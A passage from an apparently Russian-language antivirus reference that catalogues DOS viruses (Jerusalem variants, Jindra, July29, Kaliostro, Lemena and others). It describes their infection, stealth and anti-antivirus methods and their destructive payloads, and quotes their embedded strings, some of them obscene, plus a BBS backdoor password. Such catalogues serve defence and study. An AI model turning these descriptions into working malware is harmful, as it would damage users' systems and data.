COMMAND.COM IBMBIO.COM IBMDOS.COM SETVER.EXE EMM386.EXE DOSSHELL DEBUG
SERVER.EXE VSAFE MSAV MWAV CPAV NAV TRACER TRMATE HACKER GILLETTE
PCCILLIN TPS ZLOCK ZTEST GSCAN HVIR AVCOM AVEXE OFFEXE OFFCOM CKVI KLVI
DEVI BTOOL RTOOL TDISK HDPI VCOPY VSHIELD VALIDATE VB TEST VIR WIN
KERNEL.EXE KRNL GDI.EXE USER.EXE PROGMAN.EXE DOSX.EXE EXCEL CV.EXE
SYMDEB MASM.EXE LINK.EXE LIB.EXE BASIC BASCOM BASRUN ET.COM ET16N.COM
ET16E.COM ET16V.CO A-16.COM PE3 DW3 ACAD CLP FOX DBASE CLIPPER RTLINK
LOTUS 123
CVEX Version 3.00
(C) Copyright CVEX Corp. (in association with Stoned II Lab.)
All rights reserved. Made In Taiwan.
Serial No.:1993/3/6.
Computer Virus Extened Association. (C.V.E.X.)
или подобный этому:
CVEX Version 4.00
for Microsoft MS-DOS Version 6.2
(C) Copyright CVEX Corp. (in association with Stoned II Lab.)
(c) Copyright PATLABOR Corp.
All rights reserved. Made In Taiwan.
Serial No.:1994/1/1.
Computer Virus Extended Association. (C.V.E.X.)
Jerusalem.Czech
Опасный резидентный вирус. Через 30 минут после установки своей TSR-
копии постоянно выводит в левом верхнем углу экрана мигающее слово
"Ha!Ha!". Удаляет программы BASICA.EXE, CURE.EXE, LOTUS.COM, CWI.EXE,
ETBASIC.EXE, BASICA.COM, 123.XE, DBASE.EXE, BASIC.COM при их старте.
Jerusalem.Distrutto
Опасный резидентный вирус. 4 ноября форматирует все доступные диски и
выводит сообщение:
******* Ora il tuo PC e' DISTRUTTO !!! *******
Jerusalem.Glory
Неопасный резидентный вирус. 4 марта расшифровывает и выводит текст:
Eternal glory to those Chinese people who fell in 1989,
in the noble struggle for freedom of speech, expression,
the press, assembly, association, procession,
demonstration and the freedom to strike!
Not one single drop of blood, not one single tear,
not one single act of courage will have been wasted in vain.
Wild grasses spreading o'er the plain
With every season come and go.
Heath fire can't burn them up, again
They rise when the vernal winds blow.
Jerusalem.Invader (1-10)
Очень опасные резидентные вирусы. Заражают COM и EXE-файлы (кроме
COMMAND.COM) и boot-секторы жестких дисков и флоппи-дисков. Для флоппи
форматируют дополнительную дорожку, на которую записывают собственный
код и оригинальный boot-сектор. Перехватывают INT 8, 9, 13h, 21h. В
зависимости от своих внутренних счетчиков могут совершать холостой цикл
при каждом вызове прерывания INT 8 (таймер), уничтожать информацию на
дисках, исполнять мелодию, уничтожать содержимое CMOS-памяти или
выводить сообщения:
Jerusalem.Invader (1-4):
by Invader, Feng Chia U., Warning: Don't run ACAD.EXE!
Jerusalem.Invader (5-10)
by ABT Group at Feng Chia Univ., Taiwan. Mar/27/90
Также содержат текст "ACAD.EXECOMMAND.COM.COM.EXE".
Jerusalem.Kylie
Иногда играет мелодию. Имеется строка "Kylie Minogue".
Jerusalem.Mabuhay.2660 (1,2), 2695
Опасные резидентные вирусы. 1 числа (Jerusalem.Mabuhay.2660) или 12
июня (Jerusalem.Mabuhay.2695) вирусы пытаются уничтожить содержимое
дисков C:, D:, E:,F: играют Филлипинский гимн и выводят на экран текст:
ANTI-Southern Phil. Council 4 Peace N' Development
June 12 - the Independence Day of the Philippines.
--
* --
--
\¦/ --
--¤-- * ------------------
/¦\ --
--
* --
--
MABUHAY ANG PILIPINAS!
Dedicated to Manong Eddie.
Jerusalem.Skism
Содержит тексты "Sub-Zero NYHC", "LORD SKISM".
Jerusalem.Sunday
Опасный резидентный вирус. В воскресенье выводит текст:
Today is SunDay! Why do you work so hard?
All work and no play make you a dull boy!
Come on ! Let's go out and have some fun!
После чего удаляет все запускаемые программы.
Jerusalem.VTech
Опасный резидентный вирус. Уничтожает файлы CHKLIST.CPS и SMARTCHK.CPS.
10 марта уничтожает содержимое CMOS-памяти и секторов дисков. После
чего выводит сообщение:
Don~t TRUST any virus scanner!
-- HKs VTech --
Jerusalem.Wanderer
Неопасный резидентный вирус. Не заражает файлы, имена которых
начинаются на WP, SC, WI. Содержит зашифрованный текст "[I am a
Wanderer ,May 30th,1994 Korea]".
Jester.700
Неопасный нерезидентный вирус. Содержит текст "Jester-2_0Almaty95".
Jindra
Очень опасный загрузочный стелс-вирус. Периодически уничтожает
содержимое секторов дисков и CMOS-памяти. Содержит текст "JINDRA_0".
Jindra.2049
Очень опасный нерезидентный полиморфный вирус. В зависимости от своих
внутренних счетчиков может уничтожать содержимое секторов дисков, CMOS-
памяти и выводить на экран текст "Jindra&Pastika je zde !!!". А также
Jindra.2049 может заразить активный загрузочный сектор жесткого диска
загрузочным вирусом Jindra, который в дальнейшем будет "развиваться"
отдельно от родителя и заражать сектора дисков. Jindra.2049 удаляет
файлы: CHKLIST.MS, C:\AVG*.GRS, C:\AGUARD.DAT, C:\DOS\VSAFE.COM,
VSAFE.COM.
Joker.1918
Неопасный резидентный шифрованный вирус. Содержит текст "Kiev '95 by
Pupil of 9-V form [JOKER.HA-HA-HA!]:G:A:PZ JOKERSYS".
Jolter.2197
Неопасный резидентный шифрованный стелс-вирус. Иногда вызывает
"дрожание" экрана. Содержит тексты "ARJBSACHKDIEICELHAPKLPKZRAR",
"COMMAND.COM", "COMMAND EXECOM", "*.COM *.EXE", "IBMJOLTER 4.0".
Joshi
Неопасный загрузочный стелс-вирус. "Переживает" теплую перезагрузку при
нажатии Ctrl-Alt-Del. 5 января выводит текст "Type `Happy Birthday,
Joshi'!" и ждет ввода с клавиатуры фразы "Happy Birthday, Joshi!".
Jouce.1608
Опасный нерезидентный вирус. По средам автор, видимо, хотел уничтожать
255 секторов жесткого диска, но этого не происходит. Но непристойный
текст по средам выводится на экран. Вирус также содержит текст "*Jouce
und Krisque*, Version 0001h.".
July29 (1-4)
Опасные загрузочные вирусы.Заражают boot-сектора дискет и "винчестера".
Располагаются в трех последовательных секторах. Если в процессе
считывания двух последних секторов "хвоста" вируса произойдет ошибка
чтения,то вирусы выводят сообщение "BIOS fatal error. System halted..."
и "вешают" систему. При заражении жесткого диска вирусы записывают
истинный MBR и следующий за ним сектор в 6 и 7 сектора нулевого
цилиндра. В оригинальном MBR вирусы исправляют 3 байта адреса активного
раздела DOS на адрес: головка - 0, цилиндр - 0, сектор - 3. И
записывают с указанного адреса 3 сектора вирусного кода.Вирусы являются
стелс-вирусами. При попытке чтения или записи в MBR или boot-сектора
дискет, подставляется оригинальный неинфицированный сектор. На
компьютерах класса AT, 29 июля вирусы выводят сообщение "July 29
today..." и вирусы July29 (1-3) перехватывают INT 09 (клавиатура). Если
произойдет нажатие на Ctrl-Alt-Del, то вирусы уничтожают содержимое 7ми
первых секторов жесткого диска и выводят тексты:
July29 (1) - Happy birthday, B..... M......!
July29 (2-4) - Happy birthday, MICHAEL !
и "вешают" систему. July29 (2) блокирует исполнение некоторой программы
(видимо, ADINF.EXE), а July29 (3) излечивает MBR жесткого диска при
старте или чтении первого сектора этой же программы. July29 (4)
"перехватывает" INT 8,9,13h,21h.При нажатии на Ctrl-Alt-Del этот вирус
заражает еще раз для "подстраховки" заражает MBR жесткого диска. При
старте программ с именами *T.E*, *B.E*, *F.E* (AIDSTEST.EXE, DRWEB.EXE,
ADINF.EXE) July29 (4) или "вешает" систему, или удаляет свой код из MBR
на время работы данных программ. Вирусы July29 замещают своими кодами
загрузочные вирусы семейства Stoned. Содержат также строки: July29 (1)-
"v3.1", July29 (2) - "v4.1", July29 (3) - "v4.5", July29 (4) - "v5.0".
July29 (4) 29 числа удаляет каждую 8 стартовавшую программу.
Jump.466
Неопасный резидентный вирус. Имеет строку "JUMP".
JumpBoot
Опасный файлово-загрузочный вирус. Заражает MBR жесткого диска, а также
внедряется в файлы, записываемые на гибкие диски. При старте такого
инфицированного файла вирус заражает MBR жесткого диска, записывая
оригинальный сектор и свое продолжение в два сектора на первой дорожке,
содержащие нулевые байты. При загрузке системы с инфицированного MBR,
вирус располагает часть своего кода в таблице векторов прерываний по
адресу 0:200h и перехватывает INT 13h. При записи на жесткий диск
сектора, содержащего первыми байтами EBh или E9h (переход-jump) вирус
записывает вместо этого сектора свой код. Причем после этой записи
вирус обезвреживает в памяти данную процедуру заражения файлов. Т.е.,
до следующей перезагрузки производится всего одна запись на гибкий
диск. Вирус также является стелс-вирусом, подставляя вместо
инфицированного MBR оригинальный сектор.
Jumper (1,2)
Неопасные загрузочные вирусы.При старте с флоппи-диска, вирусы заражают
MBR "винчестера", "перехватывают" INT 1Ch, ждут загрузки DOS, после
чего "перехватывают" INT 21h. Заражают флоппи-диски при функциях ввода-
вывода на консоль и смене текущего диска (f.0Ah, 0Eh Int 21h). Иногда
выводят на экран символ "ю" ASCII 0EEh.
JuneTunes.1784
В июне с вероятностью 3/4 играет одну из трех мелодий.
Junior.224
Неопасный резидентный вирус. Изменяет вызов INT 21h для старта программ
резидентной части командного процессора на INT AEh и перехватывает INT
AEh. Содержит строку "Junior".
KaaBum.1500
Опасный резидентный вирус. Размножается только начиная с июня месяца.
В воскресенье вирус выводит текст:
------------------------------------
-- KaaBum! Sorry for BAD virus! --
------------------------------------
и переименовывает C:\COMMAND.COM в C:\MOCDNAM.MOC. При старте некоторых
программ может вывести сообщение "Bad command or file name". При
нажатии на Ctrl-Alt-Del вирус выводит текст:
---------------------------
- Я ЛЕЖУ НА ПЛЯЖУ -
- И НА РАЗНЫХ БАБ ГЛЯЖУ, -
- И ПРО КАЖДУЮ СУЖУ: -
- КАК ЕЕ Я ОБНАЖУ, -
- С СОБОЙ РЯДОМ ПОЛОЖУ, -
- МЕЖДУ НОГ Я ЕЙ ВОНЖУ -
- И ОТ КАЙФА ЗАВИЗЖУ ! -
-.........................-
-ТОЛЬКО ЧТО-ТО НЕ ЖУ-ЖУ...-
---------------------------
Kaczor.4444, 4447
Неопасные полиморфные файлово-загрузочные стелс-вирусы. При первом
запуске инфицированной программы вирусы заражают MBR жесткого диска и
устанавливают свои копии в верхние адреса памяти. Перехватывают INT
13h, 21h, причем основное тело вируса зашифровано, а точки входа в
вирусные обработчики прерываний размещены в случайном месте после
основного кода. Заражают EXE-файлы только на гибких дисках. При
загрузке системы с зараженного MBR, вирусы считывают свое продолжение -
9 секторов, находящихся по адресу 0:0:9, размещают свою TSR-копию в
памяти, "перехватывают" INT 12h (для возвращения уменьшенного размера
памяти на 6 до загрузки DOS) и 1Ch. Ждут загрузки DOS, после чего
"перехватывают" INT 13h, 21h и 3 марта INT 08. Если во время загрузки
системы в буфере клавиатуры окажется слово "kaczor", то вирусы выводят
на экран сообщение "Zrobione." и "самоизлечиваются" (удаляют свой код
из MBR). Если же в буфере клавиатуры будет находиться слово "test", то
вирусы могут вывести, примерно такой, текст:
Wersja.........2
Kodowanie......4
Licznik HD....10
Где "Kodowanie" - номер используемого вирусами шифровщика (всего вирусы
имеют 10 различных комбинаций шифрования), а "Licznik HD" - счетчик
заражений MBR. 3 марта вирусы "перехватывают" еще и INT 08 и постоянно
"дергают" изображение на экране.
Kadavr.506
Неопасный резидентный вирус. Содержит строку "Кадавр".
Kak.391
Иногда выводит на экран "Как много вирусов хороших ...".
Kaka.911, 928
Содержат тексты:
Kaka.911 - KAKASHKA v3.21 - S. city , 1991-1992
Kaka.928 - KAKASHKA v3.3 - S. city, 1991-92
Kaliostro.1752, 2098
Опасные резидентные вирусы. Предназначены, видимо, для "взлома" станций
BBS, работающих под MAXIMUS. При работе вирусы постоянно пытаются
выяснить установлен ли в системе FOSSIL-драйвер. Если данный драйвер
установлен, то вирусы "перехватывают" INT 14h (BIOS communications) и
контролируют чтение из активного COM - порта (модем). При получении
строки "1259hackvgisnh" (или "crack9db6n4mwd7") вирусы посылают в COM-
порт строку "Пароль введен верно" и взводят флаг "ожидания команд
взломщика". При получении символа "1" или "2" вирусы эмулируют нажатие
на клавиши s,KeyPad-2,Enter или s,KeyPad-8,Enter соответственно. При
получении символа "3" вирусы сбрасывают свой флаг "ожидания команд
взломщика". Kaliostro.2098 контролирует обращение к файлу LOGO.BBS и
посылает в COM-порт текст "CRACK IT .....". Содержат текст "Ха Ха Ха
.... I am Kaliostro 3.0 (c) Dred".
Kampana (1,2)
Очень опасные загрузочные вирусы. При 400-ой загрузке с инфицированного
жесткого диска, вирусы уничтожают информацию на этом диске и выводят
текст "Campада Anti-TELEFONICA (Barcelona)".
Karina.850
Неопасный нерезидентный вирус. После 23 сентября выводит на экран
переливающийся текст:
----- ----- ----- ------ ------ ------ ----- -- -- --- --
-- -- -- -- -- -- -- -- -- -- -- ---- --
----- --- --- ----- -- ------ -- ----- -- -- -- -- --
-- -- -- -- -- -- -- -- -- -- -- ----
------ ----- ------ ------ -- ------ ------ ----- -- ---
Имеет строку "KarinaB".
Karnavali.1972
Неопасный резидентный файлово-загрузочный вирус. Заражает EXE-файлы и
загрузочный сектор диска C:, не проверяя является ли данный сектор
активным и не сохраняя его. После заражения 60 файлов выводит на экран
текст:
K A R N A V A L I O F P A T R A S ! ! !
* * * P A T R A S H / Y * * *
И "забивает" экран различными цветными символами так, что это
действительно смахивает на некий карнавальный праздник.
Karol.1000
Неопасный резидентный вирус. Пытается затруднить анализ своего кода,
используя вызов INT 1, 8, 9 для вызова своих подпрограмм. Содержит
строку "KaRoLmArKs V2.3".
Kate.582, 585
Неопасные резидентные вирусы. Периодически "перезагружают" систему.
Содержат тексты "KATE 1.01b", "KATE 1996 - (C) ORIEL software company".
Katya.732
18 декабря выводит на экран текст:
С днем рожденья,
Kavaklar.743
Содержит текст "Kavaklar v2.05 (c)Unterleutnant".
Kela.1207, 1253, 1473
Неопасные резидентные вирусы. Содержат тексты:
Kela.1207: "MUSTDIE v.1 (a) "Роганов Е.А. must die" МГИУ(C)1996-97",
Kela.1253: "MUSTDIE v.2 (a) "USERS of the wold must die"
МГИУ(C)1996-97",
Kela.1473: "MUSTDIE v.3 (a) "RAP&POPS must die, GABBER forever !"
МГИУ(C)1996-97".
KeyOff.400
Неопасный резидентный вирус. Контролирует INT 10h, 21h. Иногда
блокирует клавиатуру.
Keypress.1000
Опасный резидентный вирус. В апреле уничтожает текущий логический диск.
Содержит строку "King worm".
Keypress.Platon
Опасный резидентный вирус. При открытии файла USER.BBS вирус записывает
в него нового пользователя Platon Potapov с максимальными привилегиями.
Содержит строки:
Platon Potapov
SPb
311-63-83
Alfred
Keypress.Samsoft
Неопасный резидентный вирус. Каждые 10 минут пять раз повторяет
последний введенный символ с клавиатуры. Каждый час выводит на экран
слово "SAMSOFT".
KgkSoft.1020
Неопасный резидентный шифрованный вирус. В начале каждого месяца может
вывести сообщение:
I am KILLER & MONSTR !
You must say good-bye your computer !
Также содержит текст "V2 KGKSoft 1997".
Khizhnjak.based - вирусы
Появление данных вирусов обязано господину Хижняку - автору книги
"Пишем вирус и антивирус". В данной книжице был опубликован исходный
текст тривиального нерезидентного вируса, заражающего COM-файлы в
текущем директории.
Khizhnjak.255
Содержит строку "TOP".
Khizhnjak.377
Может уничтожить информацию на диске A:.
Khizhnjak.406
Выводит текст "This is stamm of Khizhnjak.306 virus (c) 1997 NSTU".
Khizhnjak.542
Через 3 месяца нахождения на компьютере в MS-DOS версии не ниже 5.0
вирус "отключает" - делает невидимым текущий диск.
Khizhnjak.556
10 числа пытается уничтожить 100 первых секторов жесткого диска.
Khizhnjak.560
С января до мая форматирует нулевую дорожку первого жесткого диска,
после чего пытается вывести на экран строку "Hello!", но вряд ли данная
строка когда-нибудь появится. Содержит еще одну строку - "Killer-94".
Khizhnjak.632
27 числа пытается форматировать нулевую дорожку первого жесткого диска.
Khizhnjak.642
В зависимости от системного времени может попытаться найти файлы *.PAS
и уничтожить информацию, находящуюся в них.
Khizhnjak.639, 649
В конце своей работы выдают текст "From Russia with love!".
Khizhnjak.715
При удачном заражении файла выводит сообщение "Не пугайтесь !".
Khizhnjak.751, 759
После заражения выводят текст "Hallo! I have got virus for a you!".
Khizhnjak.812
С января до июня уничтожает 180 первых секторов текущего диска и
выводит текст:
Hello! There is a new virus in your computer! Good luck!
Khizhnjak.834
Иногда выводит текст "Mason Hardkiller (C) 1995. (XAPЛАНOB-ГАД)...".
Khizhnjak.847
Иногда выводит сообщение "Благополучия и глобальности тебе мы". Имеет
также текст "(C) 1993 AREG Soft".
Khizhnjak.1101
Иногда выводит сообщение:
Привет! Я - вирус!!! И заразил несколько файлов!
А ты куда смотришь? AIDSTEST где? Быстро запускай!!!
Khizhnjak.1112
После заражения каждого файла выводит текст "ok".
Khizhnjak.1134
После заражения файла выводит текст "Файл Заражен Успешно !Tapeworm !".
Khmir.1800
Неопасный резидентный зашифрованный вирус. Иногда создает на дисках
файл "хмырь".
Kill.578
Опасный нерезидентный вирус. Может разрушить файлы COM-формата, но с
расширением EXE. Содержит текст "KILL".
Kipa.1084
Неопасный резидентный вирус. Содержит строку "The KIPA new Version 3.1
copyright (c) 1993 by Sergey Hacker,Moscow;15 years old".
Kit.2384
Неопасный резидентный вирус. Периодически изменяет флаги клавиатуры -
состояние клавиш Shift, Alt, Ctrl,... Содержит текст "Copyright 1991-
1999. KIT VIRUS (version 2.0).".
Kiwi.550
Неопасный резидентный вирус. Содержит текст "I'm KIWI-586.(C)
Vegetable-Soft,1992.DOS AIDSTEST".
Kkv.923
Неопасный резидентный вирус-спутник. Создает файл KKV2, в который
записывает следующий текст:
KeyKapture Virus v2.0 (c) 1994 by Stormbringer [P/S]
Kkv.1074, 1077
Неопасные резидентные стелс-вирусы-спутники. Перехватывают INT 09, 13h,
21h. Пытаются быть "невидимым" на уровне INT 13h (чтение с диска). При
смене диска (f.0Eh INT 21h) создают файл KKV.90, в который записывают
все вводимые с клавиатуры команды. Содержат текст "KeyKapture Virus
v0.90 [Hellspawn-II] (c) 1994 by Stormbringer [P/S]".
Kkyyzz.1413
При старте программы, имя которой заканчивается на LI.EXE, вирус
предпринимает какие-то действия с Novell Netware. При вводе слова
"kkyyzz", при буферизованном вводе (f.0Ah Int 21h) вирус удаляет
свой код из памяти.
Kohntark.268
Содержит строку "КФМPANION / КФhntark".
Kohntark.Kali.641 (2)
Выводит на экран имя последнего инфицированного файла. Содержит строку
"KaLi-4 / КФhntark".
Kohntrak.Kaos.697
Имеется строка "KAOS4 / КФhntark".
Koko.1780
Опасный резидентный вирус. 29 июля и 15 февраля выводит на экран текст:
Stop Keyboard Clicking
KoKo is Sleeping in Your PC. !
To Scan & Clean Call, Adham Hammam
Fax & Phone (20) 066 - 261841
После чего ждет нажатия на клавишу. 29 июля читает MBR, попарно меняет
местами соседние байты и записывает его на свое место.
Kommuna.800
Если в момент старта вируса значение сотых долей секунды меньше 10, то
вирус выводит на экран "parovozik", движущийся к "OSTANOVKA".
__ ____
KOMMUNA(OSTANOVKA) ][ ]¦¦[
__________ /~~~~~~~~~¦ ¦
] ¦¦ [ \parovozik¦__¦
__]____-_[__ /oo~~~~~~OOO~
Если удалось заразить файл вирус выводит сообщение:
"Don't warry please !!!".
Konstantin
Содержит строку "Konstantin".
Kpi.329
Содержит текст "KPI Wight Avendger's Software production.".
Kranty.255
Неопасный нерезидентный вирус. Имеет строку "Кранты-8".
Ksm.473
Неопасный нерезидентный вирус. Иногда выводит сообщение:
Fuck off,Asshole!!
- say to you KrylowSoft
Содержит строку "KSM".
Kuku.448
Опасный нерезидентный вирус. Может уничтожить программы, записав в их
начало 49 байт кода, который при старте пишет на цветном мониторе слово
"Kuku!".
Kuku.886, 1111
Неопасные нерезидентные вирусы. Выводят тексты:
Kuku.886 - A kuku, Nastepny komornik !!!
Kuku.1111 - Sorry, I'm copmpletly dead.
Kuku.1111 проигрывает музыку.
Kvartirus.1499, Kvartirus.2000 (1,2)
Неопасные резидентные вирусы. Незначительно отличающиеся друг от друга
две модификации вируса (Kvartirus.1499, 2000(2) зашифрованы). Иногда
производят треск в динамике компьютера. Содержат текстовые строки:
Эта программа написана мной
Leningrad
Kvartirus.2000(1): Вирус-Квартирус. Ленинград 1992
Kvartirus.2000(2): Вирус-Квартирус-2. Ленинград 1993
Kvartirus.1499 текстовых строк не содержит.
Kvs.836
Заражает COM и EXE-файлы, внедряя свой код в их начало. Зараженные EXE-
файлы по окончанию своей работы "лечит", запускает их, после чего опять
заражает. Содержит текст "Zortech (C). Take Care of SoftWare ...".
Kvs.1942
Неопасный резидентный вирус. 31 числа выводит на экран текст:
г======================================¬
¦ ¦
¦ Take Care of SoftWare ... ¦
¦ KieViruSoft Data Product (c) 1994 . ¦
¦ ¦
L======================================-
После чего отдает управление по адресу C800:0000h, пытаясь тем самым,
видимо, вызвать подпрограмму форматирования жесткого диска,
расположенную в BIOS. Имеет строки "KieViruSoft (c) Ver1.0", "Ver1.0".
Kvs.Crusade
Неопасный резидентный файлово-загрузочный вирус. После 5 часов работы
выводит текст:
---------------------¬
¦ LIVE `N` LET LIVE! ¦
L---------------------
Содержит строку "Take care of soft war or Last Crusade.".
Kysia.1536
Неопасный файлово-загрузочный вирус. Заражает MBR жесткого диска, при
загрузке с которого вирус устанавливает в памяти свою TSR-копию.
Производит поиск и заражение EXE-файлов при смене текущего диска (f.0Eh
INT 21h) на дисках A: и B:. Иногда выводит сообщение:
(c) 1993 Kysia Software Co.
Your fucking PC is infected !
I'm formating your hard disk now.
I'm lucky.
FUCK'AM ALL.
Bezplatna reklama kapeli ZOD ze Szczecina.
После чего пытается создать видимость форматирования жесткого диска,
путем чтения его секторов.
Lame.2304
Неопасный резидентный полиморфный вирус. 15 сентября выводит на экран
текст:
SHATTERED/Pantera/Cowboys from Hell
It's storming broken glass, corpses left in piles
Ungracious bludgeonment that breaks the earth for miles
Nothing can stop it, the day has come, from below it's catastrophic
Freezing, there's no healing families are dying
This world is shattered...all shattered
Life crushing turbulence, this wrath can't be denied
Wishing you could help your friends, standing where they died
Echoes haunting, a hollow planet, lacerations, dissected nation
Freezing, there's no healing families are dying
This world is shattered...all shattered
Содержит также строку "This is a polymorphic virus It was written by
the Executioner It's called the lame virus #21".
Larry.491
Иногда выводит на экран текст "Larry on a Screen".
Lasky.129
Неопасный резидентный вирус. Содержит текст "lasky!".
LBrother.393
Неопасный резидентный вирус - спутник. Для EXE - файлов создает
инфицированный COM-файл-спутник.1 января выводит текст "Ein gutes neues
Jahr !".
Leandro
Опасный Boot-вирус. На дискетах записывает оригинальный Boot-сектор и
свое продолжение на стороне-1 дорожке-40 секторах-8,9. 21 октября
выводит текст:
Leandro and Kelly ! GV-MG-Brazil
You have this virus since 13-03-95
Последние значения - это дата заражения компьютера данным вирусом.
LeapFrog (1,2)
Неопасный резидентный вирус. Размещает свою TSR-копию в одном из
системных буферов, уменьшая их количество на 1. Перехватывает INT 21h.
Работоспособен в MS-DOS версий 3.xx, 4.xx. Инфицирует COM-файлы,
содержащие первой инструкцией команду перехода (E9 ?? ??). Изменяет
первую после перехода (E9) команду на инструкцию перехода на вирусный
код, записываемый вирусом в конец файла.
Leech.1014, 1024
Опасные резидентные вирусы. Иногда уничтожают 2 сектора текущего диска
и выводят текст "Mr.Tapeworm" или "The leech live ...". Содержат также
тексты "May 1996 The GLIST" или "April 1991 The Topler.".
LeftShift
Опасный загрузочный вирус. По нечетным дням производит дрожание экрана.
Блокирует нажатие на левую клавишу "Shift",а также каждый час блокирует
нажатия на клавиши Escape, Backspace, Enter, Left Ctrl, Left Alt.
Legion.3274
Неопасный нерезидентный шифрованный вирус. Алгоритм заражения файлов
заимствован из вирусов семейства OneHalf. В день, совпадающий со
значением месяца вирус выводит текст:
ATTENTION !!! PERM RESEARCH CENTER
OF AUTO-TRANSFERRING SOFTWARE PRESENT:
-T¬ -T===T¬-T===T¬-=TTT=¬-T==T¬-T=¬ T¬
¦¦¦ ¦+== ¦¦ ==¬¬ ¦¦¦ ¦¦ ¦¦¦¦ L¬¦¦
L¦¦=¦-L¦===¦-L¦===¦-L=¦¦¦=-L¦==¦-L¦ L¦-
Version 5.00
(C) TEAM O'SHEEN DA 12-Feb-1997
PRESS "ENTER" TO EXECUTE PROGRAM
Lego.1000
Опасный резидентный шифрованный вирус. После 400 заражений файлов
уничтожает некоторые поля CMOS-памяти и выводит текст:
SzВtszedtem a gВреd! Rakd Фssze, LEGO-zz!
LEGO virus
MESTER (C) 1995
Lemena.3544
Неопасный резидентный полиморфный вирус. Располагает свою зашифрованную
резидентную копию в области XMS и "перехватывает" INT 22h, обработчик
которого тоже зашифрован и расположен в свободной области ядра DOS. По
окончании работы любой программы вирус копирует свой код из XMS в
видео-память (0BC00:0000h), расшифровывает его и "перехватывает" INT
21h. Вирус использует динамическую расшифровку собственного кода.
Удаляет файлы: ANTI-VIR.DAT, AVP.CRC, CHKLIST.CPS, CHKLIST.MS,
CHKLIST.TAV, CRC.SVS, FILES.VVL, FINGERP.VVF, IM.PRM, IVB.INI, IVB.NTZ,
MSAV.CHK, SMARTCHK.CPS, \AV.CRC, \BOOT.CPS, \BOOT.MS, \BOOT.NTZ,
\BOOT.TAV, \IV.INI, \PART.NTZ. Может вывести на экран текст "LEMENA'97"
или "BOKEPH'97". Также содержит тексты "[LEMENA'97] by Bokeph from
Batavia, Indonesia", "[MENA]".
Lemming.2247
Неопасный резидентный шифрованный стелс-вирус. При открытии
инфицированных файлов вирусы лечат их. Не заражает программы из списка
DRWEBAVPAIDSTESTVSAFEFPROT. Производит поиск в памяти антивируса
TBDriver и правит его код. Содержит строки:
TBDRV
Choise virus ver 1.0 !!!!!!!!!!!!!!!!!!!!!!!!!!!
(c) Copyright 1996 by Gurre in Moscow...
Голосуй за Генадия Андреевича Зюганова на выборах !!!
Банду Эльцина - в отставку ! Банду Эльцина под суд !!!
COMcomEXEexe
Fucked file is FuckUp
Lenin.943
Нерезидентный вирус. Производит поиск *.EXE в директориях доступных
через переменную PATH и в текущей. Записывается в конец файлов, но
вставляет 5 байт прямого межсегментного "длинного" call на свое тело в
оригинальную точку входа EXE-файла, корректируя при этом таблицу
перемещаемых символов. Но при этом не проверяет наличие ссылки в этой
таблице на данную точку, в результате чего такая программа при запуске
может "завесить" систему. Иногда после заражения файла может выдать
текст:
САМЫЙ! ЧЕЛОВЕЧНЫЙ! ЧЕЛОВЕК!
Ленин и сегодня всех живых держит мертвой хваткой упыря
Leo.293
Неопасный вирус. Имеет текст "- Virus "Leo", created in 1997 -".
Leo.3948
Неопасный нерезидентный вирус. 31 декабря выводит на экран текст:
* *
* • •••• •• •• ••• •• ••• •••• •
• ----- --- --- ---- --- ---- ----- • *
• --- ------- ---- --- ---- -- -- •
• --- --- --- ---- ---- ---- ----- • *
• •• •• •• ••• ••• ••• •••• •
* *
Hallo, I've got a virus for you.. *
Today is the 31 of December, because I want to
congratulate with a Happy New Year... Today is *
* a holiday and I want a pair of COM files... :)
You have a holiday and you'll have many presents
tommorow. I would like to join at this tradition
* Could you take me a present as a file, please...
I'll be glad! Thank you for all, good bye.. *
Santa Leo...
* *
Leprosy.BadBrains.570
Содержит тексты "SKISM", "Bad Brains".
Leprosy.Busted.572
После заражения файлов выводит сообщение "Busted!" или "Program too big
to fit in memory". Содержит текст "This is based on Leprosy-B. Thanx
PCM2Busted, Strain A, version 1.0By ¶
ША+@&ю¬¦-$ (Psychogenius),
September '91".
Leprosy.Hellraiser
Очень опасный зашифрованный вирус. Периодически уничтожает информацию в
4 случайных секторах диска. После 25 числа в пятницу выводит текст:
I'll be back...
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
Содержит текстовые строки "Written by Dennis Yelle","Hellraiser/SKISM",
"-=PHALCON=-".
Leprosy.Rythem.808
25 числа в пятницу уничтожает все файлы. Содержит текст:
Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods
Dont alter this code into your own strain, faggit.
HR/SSS NYCity, this is the fifth of many, many more....
You sissys.....
Leprosy.Sandra.1809, 1356
Очень опасные полиморфные вирусы. Производят поиск файлов *.eXe и *.cOm
и внедряют свой код в начало данных файлов, не сохраняя программный
код. Уничтожают файлы: )(.ID, ANTI-VIR.DAT, C:\TBAV\VIRSCAN.DAT,
CHKLIST.CPS,C:\CPAV\CHKLIST.CPS, C:\NAV_._NO, C:\NOVIRCVR.CTS,C:\VS.VS,
C:\NOVIPERF.DAT,C:\TOOLKIT\FILES.LST, C:\FSIZES.QCV, C:\UNTOUCH\UT.UT1,
C:\UNTOUCH\UT.UT2. Содержат строки "SANDRA*.eXe *.cOm ..", "This Virus
is dedicated to Sandra H., V0.07", "(c) Nazg".
Leprosy.Seneca.483, 493
Очень опасные нерезидентные вирусы. 25 ноября выводят текст:
HEY EVERYONE!!!
Its Seneca's B-Day! Let's Party!
После чего уничтожают содержимое 255 секторов текущего диска.
Также могут вывести сообщение "FATAL ERROR -- EXE is Fucked!!!" или
You shouldn't use your computer so much,
its bad for you and your computer.
Leprosy.Skism.1992
Очень опасный нерезидентный вирус. После 25 числа в пятницу выводит на
экран картинку:
¦ +---------------------------------¬ ¦ ¦
+--------------------------------------¦ ¦ +---------------T--------+-¬
¦ ----------------------------------¦ L--T-- ¦ ¦
¦ ------------------------------------¦ ¦ ¦ L--
¦ --------------------------------------¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
